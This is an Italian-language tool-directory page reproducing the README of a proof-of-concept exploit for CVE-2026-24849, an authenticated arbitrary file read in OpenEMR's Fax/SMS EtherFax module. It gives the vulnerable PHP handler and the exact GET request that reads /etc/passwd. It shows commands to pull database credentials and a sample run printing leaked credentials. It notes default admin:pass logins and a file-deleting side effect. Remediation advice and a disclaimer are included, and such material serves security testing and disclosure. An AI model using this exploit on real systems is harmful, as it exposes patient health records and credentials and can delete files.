Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2026-24849 — Exploit proof-of-concept per CVE-2026-24849, un path traversal autenticato / lettura arbitraria di file nel modulo Fax/SMS (EtherFax) di OpenEMR. Qualsiasi utente autenticato indipendentemente dal livello di privilegi può leggere file arbitrari dal filesystem del server come utente del web server (credenziali del database, documenti dei pazienti/PHI, /etc/passwd, …) | Kitploit
Strumenti/GitHubGitHub/doany1/cve-2026-24849
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebEsfiltrazione DatiRaccolta InformazioniPenetration Testing
GitHubdoany1/cve-2026-24849

CVE-2026-24849

Vedi Repository

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →

Informazioni

2 mesi faNon ancora revisionato

Exploit proof-of-concept per CVE-2026-24849, un path traversal autenticato / lettura arbitraria di file nel modulo Fax/SMS (EtherFax) di OpenEMR. Qualsiasi utente autenticato indipendentemente dal livello di privilegi può leggere file arbitrari dal filesystem del server come utente del web server (credenziali del database, documenti dei pazienti/PHI, /etc/passwd, …)

Condividi

CVE-2026-24849 OpenEMR Lettura Arbitraria di File Autenticata (EtherFax disposeDoc)

Testato su: OpenEMR Versione = 7.0.2

Proof-of-concept exploit per CVE-2026-24849, una lettura arbitraria di file / path-traversal autenticata nel modulo Fax/SMS (EtherFax) di OpenEMR. Qualsiasi utente autenticato indipendentemente dal livello di privilegio può leggere file arbitrari dal filesystem del server come utente web-server (credenziali del database, documenti dei pazienti/PHI, /etc/passwd, …).

CVECVE-2026-24849
VulnerabilitàPath Traversal / Lettura Arbitraria di File (CWE-22)
ComponenteEtherFaxActions::disposeDoc() interface/modules/custom_modules/oe-module-faxsms
Versioni interessateOpenEMR < 7.0.4
Corretto inOpenEMR 7.0.4
AutenticazioneRichiesto qualsiasi utente, nessun privilegio necessario
GravitàNVD 6.5 (Medio) / GitHub CNA 9.9 (Critico)
Testato suOpenEMR 7.0.2 Ubuntu 22.04, PHP 8.1, Apache 2.4

La vulnerabilità

Il metodo disposeDoc() del modulo Fax/SMS accetta un parametro di richiesta file_path fornito dal chiamante, conferma che il file esista e lo passa direttamente a readfile() con nessuna canonicalizzazione del percorso, nessuna allow-list e nessun controllo di autorizzazione oltre al possesso di una sessione valida:

root@kitploit:~
// interface/modules/custom_modules/oe-module-faxsms/src/Controller/EtherFaxActions.php
public function disposeDoc($content = ''): void
{
    $where = $this->getRequest('file_path', null);   // attacker-controlled, unvalidated
    if (file_exists($where)) {
        ...
        readfile($where);    // arbitrary file read as the web-server user
        unlink($where);      // ⚠ deletes the file after reading (see warning below)
        exit;
    }
    die('Problem with download. Use browser back button');
}

L'handler viene raggiunto tramite il dispatcher del modulo con un percorso assoluto in file_path (nessuna traversione ../ necessaria):

root@kitploit:~
GET /interface/modules/custom_modules/oe-module-faxsms/index.php
        ?site=default
        &type=fax
        &_ACTION_COMMAND=disposeDoc
        &file_path=/etc/passwd
        &action=download

Impatto

Un account a bassi privilegi (o predefinito) diventa una primitiva completa di lettura file lato server:

  • Credenziali del database sites/default/sqlconf.php
  • Documenti dei pazienti / PHI qualsiasi cosa sotto sites/<site>/documents/, anche quando quella directory è Deny from all nel .htaccess (la lettura avviene su disco, bypassando Apache)
  • File di sistema /etc/passwd, sorgenti dell'applicazione, chiavi/token leggibili dall'utente web

⚠️ Comportamento distruttivo

disposeDoc() chiama unlink($where) dopo aver letto il file. Leggere un file che l'utente web-server può eliminare lo rimuoverà. Punta a file di proprietà di root (es. /etc/passwd, sqlconf.php nella maggior parte delle installazioni): la directory padre non è scrivibile dall'utente web, quindi unlink() fallisce e il file sopravvive. Sii consapevole di ciò a cui punti.

Prerequisiti

  • Credenziali OpenEMR valide (qualsiasi livello di privilegio spesso funziona il default admin:pass).
  • Il modulo Fax/SMS abilitato con EtherFax selezionato come provider fax. Non sono richiesti account/credenziali EtherFax reali la lettura del file avviene prima di qualsiasi chiamata API esterna.

Requisiti

  • Python 3.6+
  • requests
root@kitploit:~
pip3 install requests

Installazione

root@kitploit:~
git clone https://github.com/doany1/CVE-2026-24849.git
cd CVE-2026-24849
chmod +x CVE-2026-24849.py

Utilizzo

Eseguito senza argomenti chiederà tutto ciò di cui ha bisogno:

root@kitploit:~
python3 CVE-2026-24849.py

Oppure guidalo in modalità non interattiva con i flag:

root@kitploit:~
# read a single file
python3 CVE-2026-24849.py -t http://TARGET -u admin -P pass -f /etc/passwd

# loot the DB credentials and save to a file
python3 CVE-2026-24849.py -t http://TARGET -u admin -P pass \
    -f /var/www/html/openemr/sites/default/sqlconf.php -o sqlconf.php

Opzioni

Se -f viene omesso, lo strumento entra in un loop di lettura interattivo così puoi scaricare più file da una singola sessione.

Esempio

root@kitploit:~
$ python3 CVE-2026-24849.py
[*] OpenEMR < 7.0.4 - Authenticated Arbitrary File Read (CVE-2026-24849)

Target base URL (e.g. http://10.10.10.10): http://10.10.10.10
Username [admin]:
Password:
Site [default]:
[*] Authenticating to http://10.10.10.10 as 'admin' ...
[+] Authenticated; CVE-2026-24849 file-read confirmed.

[*] Interactive read - enter absolute file paths (blank or 'q' to quit).
file_path: /var/www/html/openemr/sites/default/sqlconf.php
[+] ---------- /var/www/html/openemr/sites/default/sqlconf.php ----------
$login  = 'openemr';
$pass   = 'openemr123';
$dbase  = 'openemr';
[+] --------------------------

Come funziona

  1. Effettua il login con requests, mantenendo la sessione in un proprio cookie jar (evita la rotazione dell'ID di sessione del browser che rende stantii i cookie copiati).
  2. Conferma l'accesso leggendo un file sonda sicuro di proprietà di root distinguendo chiaramente credenziali errate vs modulo non abilitato vs successo.
  3. Invia la richiesta di lettura disposeDoc, provando automaticamente sia disposeDoc che disposeDocument (il nome del metodo varia tra le versioni minori interessate).

Rimedio

  • Aggiorna a OpenEMR 7.0.4 o successivo. La correzione canonicalizza il percorso, lo confina in una directory consentita e aggiunge un vero controllo di autorizzazione.
  • Cambia le credenziali predefinite e imponi il reset della password al primo accesso.
  • Mantieni segreti e documenti dei pazienti fuori dalla webroot; non affidarti a .htaccess come unico controllo.

Disclaimer

Questo strumento è fornito solo per test di sicurezza autorizzati e scopi educativi. Utilizzalo solo contro sistemi di tua proprietà o per i quali hai un'esplicita autorizzazione scritta a testare. L'autore non si assume alcuna responsabilità per un uso improprio o per qualsiasi danno causato da questo software. Nota il comportamento distruttivo di unlink() descritto sopra.

Riferimenti

  • GitHub Security Advisory: https://github.com/openemr/openemr/security/advisories/GHSA-w6vc-hx2x-48pc
  • NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-24849
  • Vendor: https://www.open-emr.org/

Autore

doany1

Licenza

MIT vedi LICENSE.

Scarica lo strumento
FlagDescrizionePredefinito
-t, --targetURL di base, es. http://10.10.10.10richiesto
-u, --userNome utente OpenEMRadmin
-P, --passwordPassword OpenEMRrichiesto (nascosto)
-s, --siteID sito OpenEMRdefault
-f, --filePercorso assoluto del file remoto da leggereloop interattivo se omesso
-o, --outputSalva il file recuperato localmente invece di stamparlo